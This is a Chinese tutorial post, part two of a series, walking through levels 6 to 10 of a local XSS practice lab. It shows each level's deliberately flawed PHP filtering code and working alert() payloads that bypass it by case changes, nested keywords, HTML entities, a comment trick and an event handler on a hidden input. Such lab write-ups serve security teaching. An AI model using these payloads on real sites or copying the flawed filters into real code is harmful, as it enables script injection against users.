07V8第25篇技术分享|简单代码审计带你基础入门XSS

Posted 07v8论安全

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了07V8第25篇技术分享|简单代码审计带你基础入门XSS相关的知识,希望对你有一定的参考价值。

欢迎关注:07v8论安全 技术干货等你来

这是07v8的第 25 篇技术文章 希望对您有用

简单代码审计带你基础入门XSS(二)

作者:吃不到胡萝北的浅安  


第六关:

 

http://127.0.0.1/xss/level6.php?keyword=break it out!



源代码:


07V8第25篇技术分享|简单代码审计带你基础入门XSS(二)


<?php

ini_set("display_errors", 0);

$str = $_GET["keyword"];

$str2=str_replace("<script","<scr_ipt",$str);

$str3=str_replace("on","o_n",$str2);

$str4=str_replace("src","sr_c",$str3);

$str5=str_replace("data","da_ta",$str4);

$str6=str_replace("href","hr_ef",$str5);

echo "<h2>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>


 

分析:


这里跟第五关一个,同样使用了str_replace()函数过滤,这关又多了


$str5=str_replace("data","da_ta",$str4); //匹配data替换成da_ta


$str6=str_replace("href","hr_ef",$str5); //匹配href 替换成 hr_ef


但是同时少去了strtolower函数(),此函数是把所有字符转换成小写。这里并没有使用此函数,因此可以使用大小写绕过。

 

故Payload : "><A HREF="javascript:alert()">QIANAN</A>

 

点击超连接。触发XSS,如下图


07V8第25篇技术分享|简单代码审计带你基础入门XSS(二)


第七关:

 

http://127.0.0.1/xss/level7.php?keyword=move up!


07V8第25篇技术分享|简单代码审计带你基础入门XSS(二)


源代码:


07V8第25篇技术分享|简单代码审计带你基础入门XSS(二)


<?php

ini_set("display_errors", 0);

$str =strtolower( $_GET["keyword"]);

$str2=str_replace("script","",$str);

$str3=str_replace("on","",$str2);

$str4=str_replace("src","",$str3);

$str5=str_replace("data","",$str4);

$str6=str_replace("href","",$str5);

echo "<h2>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>


 

分析:


这关的php代码使用了strtolower函数(),但是与第六关不同的是,第六关会把匹配的字符串转换成另一个字符串,而第七关的代码是直接把匹配到的字符串替换为“”(空)


例:


$str2=str_replace("script","",$str); 

Str_replace()函数匹配到script就替换成空,可以写成scrscripttipt,匹配掉中间的script字符串。


还剩下一个script。

 

故payload:”><scrscriptipt>alert(/QIANA/)</scrscriptipt>


07V8第25篇技术分享|简单代码审计带你基础入门XSS(二)


第八关:

 

http://127.0.0.1/xss/level8.php?keyword=nice try!


07V8第25篇技术分享|简单代码审计带你基础入门XSS(二)


源代码:


07V8第25篇技术分享|简单代码审计带你基础入门XSS(二)


<?php

ini_set("display_errors", 0);

$str = strtolower($_GET["keyword"]);

$str2=str_replace("script","scr_ipt",$str);

$str3=str_replace("on","o_n",$str2);

$str4=str_replace("src","sr_c",$str3);

$str5=str_replace("data","da_ta",$str4);

$str6=str_replace("href","hr_ef",$str5);

$str7=str_replace('"','"',$str6);

echo '<center>

<form action=level8.php method=GET>

<input name=keyword  value="'.htmlspecialchars($str).'">

<input type=submit name=submit value=添加友情链接 />


 

分析:


这一关把结合了第六关跟第七关,strtolower()函数检测大小写,str_replace()函数匹配成另一个字符串。


又加了一段代码


$str7=str_replace('"','"',$str6); //匹配”替换成"


最后htmlspecialchars()函数把<>转换成HTML实体,使之无法闭合input标签。最后点击链接。


$str2=str_replace("script","scr_ipt",$str);


这里代码匹配script替换成scr_ipt,但是最后变量$str输出。可以使用HTML字符实体来进行绕过。

 

使用payload:javascript:alert(1),这里替换的scrip。


只要对script中任何一个字母进行编码,使之匹配条件不成立。添加友情连接。然后点击友情连接触发XSS


07V8第25篇技术分享|简单代码审计带你基础入门XSS(二)


注:


字符实体是用一个编号写入HTML代码中来代替一个字符,


在使用浏览器访问网页时会将这个编号解析还原为字符,


但是代码使用了htmlspecialchars()函数,不会还原。


有兴趣的小伙伴可以在源码去掉htmlspecialchars()函数看看浏览器上面的效果。

 

 

第九关:


http://127.0.0.1/xss/level9.php?keyword=not bad!


07V8第25篇技术分享|简单代码审计带你基础入门XSS(二)


源代码:


07V8第25篇技术分享|简单代码审计带你基础入门XSS(二)


<?php

ini_set("display_errors", 0);

$str = strtolower($_GET["keyword"]);

$str2=str_replace("script","scr_ipt",$str);

$str3=str_replace("on","o_n",$str2);

$str4=str_replace("src","sr_c",$str3);

$str5=str_replace("data","da_ta",$str4);

$str6=str_replace("href","hr_ef",$str5);

$str7=str_replace('"','"',$str6);

echo '<center>

<form action=level9.php method=GET>

<input name=keyword  value="'.htmlspecialchars($str).'">

<input type=submit name=submit value=添加友情链接 />

</form>

</center>';

?>

<?php

if(false===strpos($str7,'http://'))

{

  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';

        }

else

{

  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';

}

?>


 

分析:


这关在第八关的原基础上添加了一个if判断。使


用函数strpost()函数判断,变量$str7中如果没有出现’http://’,比较值类型为 false。


条件成立,不执行else语句,所以如果想绕过。


在payload必须有’http://’,使之条件不成立。执行else语句。

 

故payload:javascript:alert(1)/*http://www.07v8.com*/ 


在第八关原有的payload上添加一条注释,绕过成功。


07V8第25篇技术分享|简单代码审计带你基础入门XSS(二)


第十关:

 

http://127.0.0.1/xss/level10.php?keyword=well done!


07V8第25篇技术分享|简单代码审计带你基础入门XSS(二)


打开第十关什么都没有? 


直接审查元素,发现一个表单有三个隐藏的标签。逐个的把type修改为text。然后回车。


测试是否要是有用的参数。


测试了t_link参数,回车后value没值。


说明失败了,在测试t_history,同样。


07V8第25篇技术分享|简单代码审计带你基础入门XSS(二)


测试参数t_sort,发现可以插入,看源代码。


07V8第25篇技术分享|简单代码审计带你基础入门XSS(二)


源代码:


07V8第25篇技术分享|简单代码审计带你基础入门XSS(二)


<?php

ini_set("display_errors", 0);

$str = $_GET["keyword"];

$str11 = $_GET["t_sort"];

$str22=str_replace(">","",$str11);

$str33=str_replace("<","",$str22);

echo "<h2>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

<form id=search>

<input name="t_link"  value="'.'" type="hidden">

<input name="t_history"  value="'.'" type="hidden">

<input name="t_sort"  value="'.$str33.'" type="hidden">

</form>

</center>';


 

分析:

 

这里只有t_sort参数能接受到str33的值。


Keyword是无用参数。只是简单的使用str_replace()函数过滤了下<>符号。

 

故payload:" onmouseover='alert(/QIANAN/)' ",


然后审查元素修改input的type属性为text。


鼠标移到text文本框触发XSS (也可以使用onclick事件)


未完待续


感谢大家的阅读,以及对07V8的支持

每周都有精英讲师 学术分享 交流探讨


更多干货 敬请关注

以上是关于07V8第25篇技术分享|简单代码审计带你基础入门XSS的主要内容,如果未能解决你的问题,请参考以下文章

07V8第27篇技术分享|简单代码审计带你基础入门XSS(完结)

07V8第26篇技术分享|简单代码审计带你基础入门XSS

简单代码审计带你基础入门XSS

PHP代码审计入门-DVWA靶场暴力破解篇

一起来学PHP代码审计 | 新手入门篇

❤️0基础如何入门软件测试?10分钟从测试9个阶段带你快速入门❤️